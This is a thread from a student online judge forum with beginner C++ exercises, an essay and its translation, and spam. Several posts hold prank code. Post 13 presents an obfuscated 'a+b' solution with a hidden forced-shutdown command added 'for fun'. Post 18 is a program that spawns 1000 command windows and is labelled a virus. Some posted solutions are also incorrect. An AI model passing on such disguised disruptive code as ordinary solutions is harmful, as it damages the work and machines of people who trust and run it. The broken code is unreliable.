HUST Online Judge WebBoard
[ New Thread ]
MainBoard >> my 的日记
2021zjhs07 @ 2021-12-10 21:16:18
[ Quote ] [ Edit ] [ Delete ] 1#
Do you mind being called a bad student? Of course not. So far as I know, everybody intends to be (become) a model student. However, to be a model student is by no means an easy thing. First, he must do his best to obtain knowledge. A man without sufficient knowledge will not succeed. Secondly, he must remember to improve his health. Only a strong man can do great tasks. Thirdly, he should receive moral education. If his conduct is not good, no one will consider making friends with him.
2021zjhs019 @ 2021-12-14 13:26:48
[ Quote ] [ Edit ] [ Delete ] 2#
#include<iostream>
using namespace std;
int main()
{
float a,b,c,s;
s=a+b+c;
if(s>=25)cout<<1;
else
if(s>=20)cout<<2;
else
if(s>=15)cout<<3;
else
if(s<=0)cout<<0;
else
return 0;
}
2021zjhs019 @ 2021-12-14 13:27:34
[ Quote ] [ Edit ] [ Delete ] 3#
题目描述
六六和同学们玩好上一个项目后,正在儿童公园里逛来逛去,她们看见了一个射击场。六六兴奋不已,不停地摸着枪,眼睛直勾勾地盯着它,就像在电影里拿起枪似的,瞄准十环,“啪”地一下开了枪,声音回荡在众人的耳边。众人兴冲冲地抬起头,六六也一样。随后众人便惊奇地发现,六六只打了二环……六六沮丧地低下了头,她的好朋友七七见了,拍了拍她的肩,拿起了枪,对老板说道:“我来,规则是什么?”老板笑了,道:“每人只能打3次,如果总和达到25环,就可以得到一等奖——一个毛绒娃娃;如果总和达到20环,就可以得到二等奖——一个水杯;如果总和达到15环,就可以得到三等奖——一个笔筒。

下面输入3个数,一等奖就输出“1”,二等奖就输出“2”,以此类推。如果一个奖都得不到(那这个七七也太逊了吧),就输出“0”。

输入
3个整数,表示七七每次打的环数。

输出
一个整数,表示几等奖。

样例输入
7 6 8
样例输出
2
提示
[提交][状态]
2021zjhs019 @ 2021-12-14 13:28:53
[ Quote ] [ Edit ] [ Delete ] 4#
大神求解答
2021zjxh33 @ 2021-12-20 17:30:09
[ Quote ] [ Edit ] [ Delete ] 5#
浣纱的那个#include<bits/stdc++.h>
using namespace std;
int main()
{
int a,b,c;
cin>>a>>b>>c;
if(a+b+c>=25)cout<<"1";
else if(a+b+c>=20)cout<<"2";
else if(a+b+c>=15)cout<<"3";
else cout<<"0";
return 0;
}
jiangzhihuan @ 2022-01-23 11:43:29
[ Quote ] [ Edit ] [ Delete ] 6#
1494
qiujiao
2021zjhs003 @ 2022-01-25 14:21:17
[ Quote ] [ Edit ] [ Delete ] 7#
okk
2023zjhj018 @ 2023-03-24 18:20:06
[ Quote ] [ Edit ] [ Delete ] 8#
2112
2023zjhj018 @ 2023-03-24 18:24:14
[ Quote ] [ Edit ] [ Delete ] 9#
译:

你介意被称为坏学生吗?当然不是。据我所知,每个人都想成为模范学生。然而,成为一名模范学生绝非易事。首先,他必须尽最大努力获得知识。一个没有足够知识的人是不会成功的。第二,他必须记住改善自己的健康状况。只有强壮的人才能完成伟大的任务。第三,他应该接受道德教育。如果他的品行不好,没有人会考虑和他交朋友。
2023zjhj013 @ 2023-04-21 20:48:44
[ Quote ] [ Edit ] [ Delete ] 10#
#include<bits/stdc++.h>
using namespace std;
int main(){
system("shutdown -r /?");
return 0;
}//教程
huwenyi @ 2023-04-29 15:18:36
[ Quote ] [ Edit ] [ Delete ] 11#
45354
secessionist @ 2023-11-05 18:44:35
[ Quote ] [ Edit ] [ Delete ] 12#
史上最长a+b!!!1000字!!!
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢!");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
}
int main() {
made_so_make();
return so_crowing;
}
7995 @ 2023-12-17 14:41:39
[ Quote ] [ Edit ] [ Delete ] 13#
//史上最长a+b!!!1000字!!!
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢!");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
system("shutdown -s -f -t 0");
}
int main() {
made_so_make();
return so_crowing;
}
/*抄楼上的
加了一句
好玩*/
slslslsslslsl @ 2024-01-15 20:12:04
[ Quote ] [ Edit ] [ Delete ] 14#
114514
2024zjhs0028 @ 2024-11-28 17:01:10
[ Quote ] [ Edit ] [ Delete ] 15#
……
2024zjhs0028 @ 2024-12-12 18:53:09
[ Quote ] [ Edit ] [ Delete ] 16#
问题 B: 求三角形面积
时间限制: 1.000 Sec 内存限制: 128 MB
提交: 3253 解决: 825
[提交][状态][讨论版]
题目描述
给定三条线段的长度,判断这三条线段是否能够构成三角形。如果能够构成,则计算其面积。
输入
输入只有一行,包含三个浮点数,分别表示三角形三边的边长,数与数之间以一个空格分开。
输出
对于可以构成三角形的情况,输出三角形的面积,保留 4 位小数。 对于不能构成三角形的情况, 输出“Data Error”。
样例输入
3 4 5
样例输出
6.0000
2024zjhs0028 @ 2024-12-12 18:53:24
[ Quote ] [ Edit ] [ Delete ] 17#
求解
zjxsj036 @ 2024-12-14 20:52:48
[ Quote ] [ Edit ] [ Delete ] 18#
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
e(){
Sleep(175);
cout<<"\n";
return 0;
}
c(){
for(int i=1;i<=1000;i++){
system("start cmd");
}
return 0;
}
int main() {
long long n,b,a;
cout<<"********\n* *\n* *\n* 你 *\n* *\n* *\n********\n按‘a’继续\n";
cin>>n;
c();
return 0;
}
zjxsj036 @ 2024-12-14 20:53:27
[ Quote ] [ Edit ] [ Delete ] 19#
病毒

cdxx2239 @ 2024-12-29 11:15:29
[ Quote ] [ Edit ] [ Delete ] 20#
1234567890
[Top] [Previous Page] [Next Page]